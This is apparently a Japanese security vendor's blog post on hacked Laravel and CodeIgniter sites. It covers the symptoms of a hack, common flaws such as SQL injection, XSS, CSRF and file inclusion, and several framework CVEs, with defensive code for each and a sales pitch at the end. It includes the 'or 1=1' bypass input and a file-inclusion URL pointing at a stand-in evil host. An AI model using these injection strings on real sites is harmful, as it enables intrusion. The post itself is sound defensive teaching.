Laravel/CodeIgniter製サイトがハッキングされた?考えられる主な脆弱性と対策を徹底解説
LaravelとCodeIgniterは、Webサイト構築に広く利用されている人気のオープンソースPHPフレームワークです。しかし、これらのフレームワークを採用しただけでサイトが安全になるわけではありません。本当に重要なのは、安全な開発手法を実践することです。開発者向けヘルプフォーラムで最も頻繁に話題に上るセキュリティトピックのひとつが、CodeIgniterおよびLaravelにおけるSQLインジェクション(SQLi)です。さらに、不適切な開発慣行は、SQLiだけでなくXSS(クロスサイトスクリプティング)、CSRF(クロスサイトリクエストフォージェリ)、RFI(リモートファイルインクルージョン)など、さまざまな攻撃への脆弱性をもたらします。
被害事例:Laravel/CodeIgniterサイトのハッキング
SQLインジェクションのように蔓延している攻撃は、Webサイトを容易に侵害しかねません。実際、同様の被害に遭った多くのユーザーが、LaravelコミュニティフォーラムやCodeIgniterコミュニティフォーラムで助けを求めています。以下はその一例です。
ハッキングされた際に見られる典型的な症状
- 機密情報を窃取する目的のLaravel/CodeIgniterフィッシングページが自サイト上に出現する
- ユーザーから「悪意のあるサイトへリダイレクトされる」という苦情が寄せられる
- 日本語キーワードハックやファーマハックなどにより、意味不明なテキストがサイトに挿入される
- サイトの動作が極端に遅くなり、エラーメッセージが頻繁に表示される
- サードパーティのホスティング利用中に「アカウントが停止されました」という通知が表示される
- 検索エンジンのブラックリストに登録されてしまう
- エラーログにSQLインジェクションなどの攻撃の痕跡が残っている
- ログに見覚えのないリモートIPからのログイン記録がある
- ユーザーデータベースに不正な管理者アカウントが新たに作成されている
よくある脆弱性と攻撃手法
1) インジェクション攻撃(CodeIgniter/Laravel)
a) SQLインジェクション
CodeIgniterにおけるSQLインジェクションは、非常に一般的で広く知られている攻撃です。その名の通り、サーバーのデータベースを標的とします。この脆弱性を悪用すると、攻撃者は次のようなことが可能になります。
- データベースからの情報取得
- データベース内容の改ざん(最悪の場合、データベース全体の削除も可能)
- 状況によってはリバースシェルの獲得
or 1=1のような入力による認証回避
b) PHPコードインジェクション
PHPコードインジェクションもよく見られる脆弱性の一種で、攻撃者がLaravel/CodeIgniterサイト上でコードを実行できるようになります。ただし、コマンドインジェクションとは異なり、実行できるのはその言語のコマンドのみという点に注意が必要です。
コマンドインジェクションでは、リバースシェル経由でOSコマンドを実行できます。たとえば、脆弱なパラメータに対して、実行すべきPHPコードを含む悪意あるファイルへのURLを渡すことが可能です。https://testsite.com/?page=https://evilsite.com/evilcode.php のような形です。
このファイルには、システム情報を収集するための phpinfo() などの関数が含まれている場合があります。
2) クロスサイトスクリプティング(XSS)
Laravel/CodeIgniterサイトにおけるXSS脆弱性は、入力値のサニタイズ不足によって発生します。両フレームワークとも、こうした攻撃を防ぐために設計されたセキュリティ機能を備えています。XSS攻撃を悪用されると、攻撃者は次のような行為が可能になります。
- フィッシングによってCookieやその他の機密性の高いセッションデータを窃取する
- ユーザーを悪意のあるサイトへリダイレクトする
- 同一オリジンポリシーを回避する
3) クロスサイトリクエストフォージェリ(CSRF)
CSRFは、ユーザーに意図しない操作を実行させることを狙った攻撃です。ただし、この攻撃でできるのはデータの操作(フォームの削除など)のみで、データの窃取や閲覧はできません。しかし最悪のケースとして、被害者が管理者だった場合、アプリケーション全体が破壊される可能性もあります。攻撃者はソーシャルエンジニアリングの手口を使い、被害者にリンクをクリックさせ、背後でアカウント削除などのコマンドを実行させます。
これらの一般的な脆弱性に加えて、CodeIgniterとLaravel固有の脆弱性もいくつか存在します。
4) CodeIgniterの既知の脆弱性
- 権限昇格(CVE-2020-10793):
CodeIgniter 4.0.0以前では、「Select Role of the User」ページに送信されるEmail IDを改ざんすることで、リモートの攻撃者が権限を取得できる可能性があります。 - セッションフィクセーション(CVE-2018-12071):
CodeIgniter 3.1.9より前のバージョンでは、Sessionライブラリの session.use_strict_mode の扱いに不備があり、セッションフィクセーションの問題が存在します。 - XML外部エンティティ(XXE)の問題(CVE-2015-3907):
CodeIgniter Rest Server(codeigniter-restserver)2.7.1では、XXE攻撃が可能でした。
5) Laravelの既知の脆弱性
- デバッグモード:リモートコード実行(CVE-2021-3129):
2020年11月下旬、Laravel v8.4.2以前においてRCE(リモートコード実行)脆弱性が発見されました。 - 情報漏えい(CVE-2020-13909):
Laravel向けIgnitionページ(2.0.5未満)は、globals、_get、_post、_cookie、_envの取り扱いに不備があり、リモートの攻撃者が機密性の高い情報へアクセスできる恐れがあります。 - デシリアライゼーション(CVE-2019-9081):
Laravel Framework 5.7.xのIlluminateコンポーネントにはデシリアライゼーション脆弱性があり、内容が制御可能な場合、PendingCommand.php内のPendingCommandクラスの__destructメソッドに関連して、リモートコード実行につながる可能性があります。
お使いのLaravelまたはCodeIgniterサイトがハッキングされた場合は、チャットウィジェットからご連絡ください。
CodeIgniter/Laravelサイトを守るための対策
CodeIgniterでSQLインジェクションを防ぐ
CodeIgniterには数多くのセキュリティ機能が組み込まれており、その中にはSQLインジェクションを防ぐための関数やライブラリも含まれています。ここでは、これらの機能を活用して攻撃を防ぐ3つの方法を紹介します。
1. クエリのエスケープ(Escaping Queries)
PHPアプリケーションにデータを渡す前にエスケープ処理を行うことで、サニタイズが完了します。これは日常的に守るべきセキュリティプラクティスのひとつです。エスケープには3つの方法があります。
- $this->db->escape(): エスケープ前にデータ型を判定する
- $this->db->escape_str(): データ型を判定せず、単純にエスケープする
- $this->db->escape_like_str(): 条件句(LIKE句など)と併用できる
具体例として、以下のコードをご覧ください。
<?php
$email= $this->input->post('email');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name='.$this->db->escape($email);
$this->db->query($query);
?>
このコードでは、$this->db->escape() 関数がまずデータ型を判定し、文字列データのみをエスケープします。また、入力データを自動的にシングルクォートで囲むため、CodeIgniterにおけるSQLインジェクションを防止できます。
2. クエリバインディング(Binding Queries)
入力のサニタイズに加え、クエリバインディングを活用すれば、CodeIgniterサイトのコードをシンプルにすることもできます。この方式ではシステム側がクエリを組み立てるため、開発者の負担が軽減されます。以下のコード例をご覧ください。
<?php $sql = "SELECT * FROM subscribers_tbl WHERE status = ? AND email= ?"; $this->db->query($sql, array('active', 'admin@wsxdn.com'));?>
1行目に、値の代わりに疑問符(?)が使われている点に注目してください。クエリバインディングにより、これらの疑問符は2行目の配列内の値で自動的に置き換えられます。前述の例では手動でエスケープしましたが、この方法ではそれが自動的に行われるため、CodeIgniterのSQLインジェクションを防げます。
3. アクティブレコード(Active Record)の活用
CodeIgniterのアクティブレコード機能を使うと、最小限のコードでデータベース操作が可能になります。システム自身の機能であるため、クエリのエスケープは自動的に行われます。たとえば、テーブルの全データは次のシンプルなクエリ1行で取得できます。
$query = $this->db->get('mytable');
LaravelでSQLインジェクションを防ぐ
LaravelのORM(オブジェクト関係マッピング)は、PHPのオブジェクトデータバインディングによってユーザー入力をサニタイズし、SQLインジェクションを防止します。パラメータバインディングも引用符を自動的に付与するため、or 1=1 のような危険な入力による認証回避を防げます。
以下は、Laravelにおける名前付きバインディングクエリの実装例です。
$results = DB::select('select * from users where id = :id', ['id' => 1]);
CodeIgniterでXSSを防ぐ
XSS攻撃への対策として、CodeIgniterにはあらかじめXSSフィルターが組み込まれています。このフィルターは、悪意のあるリクエストを検出すると文字エンティティへ変換し、アプリケーションを保護します。フィルターには xss_clean() メソッド経由でアクセスできます。
$data = $this->security->xss_clean($data);
ただし、攻撃者が画像ファイル内に悪意あるコードを仕込むケースもあるため、アップロードされたファイルについてもセキュリティチェックを行いましょう。以下のコード例をご参照ください。
if ($this->security->xss_clean($file, TRUE) === FALSE)
{
// ファイルはXSSテストに不合格
}
このコードは、画像が安全であれば真偽値 True を返し、そうでなければFalseを返します。なお、HTML属性値をフィルタリングしたい場合は、html_escape() メソッドの使用が推奨される点に留意してください。
LaravelでXSSを防ぐ
Laravelサイトでは、エスケープ文字列を使用することでXSS攻撃を回避できます。エスケープ処理により、サニタイズされていない入力がそのまま実行されるのを防げます。Laravel 5.1以降では、この機能がデフォルトで有効になっています。そのため、<div>{{ $task->names }}</div> のような入力があっても、自動的なクエリエスケープによりアプリケーションは脆弱になりません。
ユーザー入力の長さを制限することでも、特定の種類のXSSやSQLi攻撃を防げます。これは次のようなHTMLコードで実現できます。
<input type="text" name="task" maxlength="10">
同じことはJS関数でも実装可能です。また、Laravelの {{ }} 構文は、デフォルトで渡された悪意あるHTMLエンティティを自動的にエスケープします。
さらに、LaravelのXSS対策専用に設計されたライブラリも存在します。Bladeのようなテンプレートエンジンを使用していれば、自動的にエスケープ処理が行われ、こうした攻撃を防げます。
CodeIgniterでCSRF攻撃を防ぐ
CodeIgniterでCSRF対策を有効化するには、application/config/config.php ファイルを編集します。次のコードを追記するだけです。
$config['csrf_protection'] = TRUE;
Form Helperを使用している場合は、form_open() 関数により、フォームに隠しCSRFトークンフィールドがデフォルトで挿入されます。もうひとつの方法として、get_csrf_token_name() と get_csrf_hash() を使うやり方もあります。参考までに、フォーム側とサーバー側の実装例を以下に示します。
<input type="hidden" name="<?=$csrf['name'];?>" value="<?=$csrf['hash'];?>" />
——————————————————————–
$csrf = array(
'name' => $this->security->get_csrf_token_name(),
'hash' => $this->security->get_csrf_hash());
トークンの再生成も、CSRF攻撃を防ぐ有効なプラクティスです。ただし、トークン再生成には注意点もあります。ユーザーが他のタブへ移動した後に再認証が必要になる場合があるためです。トークン再生成は、次の設定パラメータで有効化できます。
$config['csrf_regenerate'] = TRUE;
LaravelでCSRF攻撃を防ぐ
Laravelでは、CSRF攻撃への対策としてフォームにトークンが実装されています。各フォームに埋め込まれたAJAX呼び出し経由でトークンが呼び出され、リクエストのトークンデータがサーバー側に保存されたユーザーセッションのトークンと照合され、異常がないか確認されます。CSRFトークンは、次のコード(Bladeテンプレート実装)でフォームに渡せます。
<form name="CSRF Implementation">
{!! csrf_field() !!}
<!-- その他の入力フィールド -->
</form>
また、LaravelCollective/HTMLパッケージを使用すれば、CSRFトークンをデフォルトで追加できます。
CodeIgniterでエラー表示を無効化する
ファイルのエラー情報は開発環境では有用ですが、本番環境のWeb上では、CodeIgniterのエラー情報が攻撃者に機密情報を漏えいする恐れがあります。そのため、エラーレポートをオフにしておくのが安全です。
PHPエラー
PHPのエラーレポートを無効化するには、index.php ファイルを使用します。error_reporting() 関数に引数としてゼロを渡すだけです。
error_reporting(0);
なお、CodeIgniter 2.0.1以降では、index.php 内の環境定数(environment)を「production」に設定することで、PHPエラーの出力を無効化できます。
データベースエラー
データベースエラーは、application/config/database.php ファイルを編集することで無効化できます。db_debug オプションをFALSEに設定してください。
$db['default']['db_debug'] = FALSE;
エラーロギング
賢い方法としては、発生したエラーを画面に表示させずにログファイルへ転送するやり方があります。そのためには、/config/config.php ファイルの log_threshold オプションを1に設定します。
$config['log_threshold'] = 1;
Laravel/CodeIgniterサイトにはWAF( Webアプリケーションファイアウォール)の導入を
攻撃者は常に、あなたのサイトを侵害する新しい手法を見つけ出そうとしています。したがって、ファイアウォールや何らかのセキュリティソリューションを導入することも、重要なセキュリティプラクティスのひとつです。Astra Securityは、柔軟なニーズに応えるべく設計されたセキュリティソリューションです。チャットウィジェットからメッセージをお送りいただければ、サイトの安全確保に一歩近づけます。今すぐデモをお申し込みください。
Astra Securityは、80以上のアクティブテストと自動・手動テストの適切な組み合わせにより、LaravelまたはCodeIgniterサイトのための包括的なセキュリティ監査を提供します。
-
ウェブサイトがハッキングされた?発見直後にすぐ取るべき5つの対処手順
サイバー犯罪は年々増加傾向にありますが、ここ数年でその増加は特に顕著になっています。その背景には、インドやブラジルといった巨大市場でのインターネット接続環境の普及が挙げられます。ある統計によると、ウェブサイトの86%が少なくとも1つ以上の深刻な脆弱性を抱えており、それがハッキング被害につながっているとのことです。 さらに驚くべきことに、企業がハッキング被害を検知するまでに平均6か月以上かかるというデータもあります。ウェブサイトがハッキングされた場合の影響は、単なるページの改ざんから、攻撃者による身代金要求まで多岐にわたります。 本記事では、ウェブサイトがハッキングされた直後に取るべき基本的な対
-
ウェブサイトが安全かどうか見分ける方法|合法性をチェックする4つのポイント
インターネットは、ビジネスや社会インフラにとって単に便利なだけでなく、必要不可欠なサービスの一つとなっています。メッセージアプリから原子力発電所の管理システムまで、インターネットは数多くの大規模なサービスを支えています。しかし、その大きな恩恵の一方で、危険な側面もいくつか存在するのです。 今では、簡単なインターネット接続だけでウェブの世界を自由に閲覧でき、毎日のように新しいウェブサイトに出会うことになります。しかしこうした膨大なサイトの中には、不正なものや違法なコンテンツを含むサイトも潜んでいます。違法なコンテンツを含むサイトを閲覧すると、自分自身が危険にさらされるだけでなく、法的なトラブルに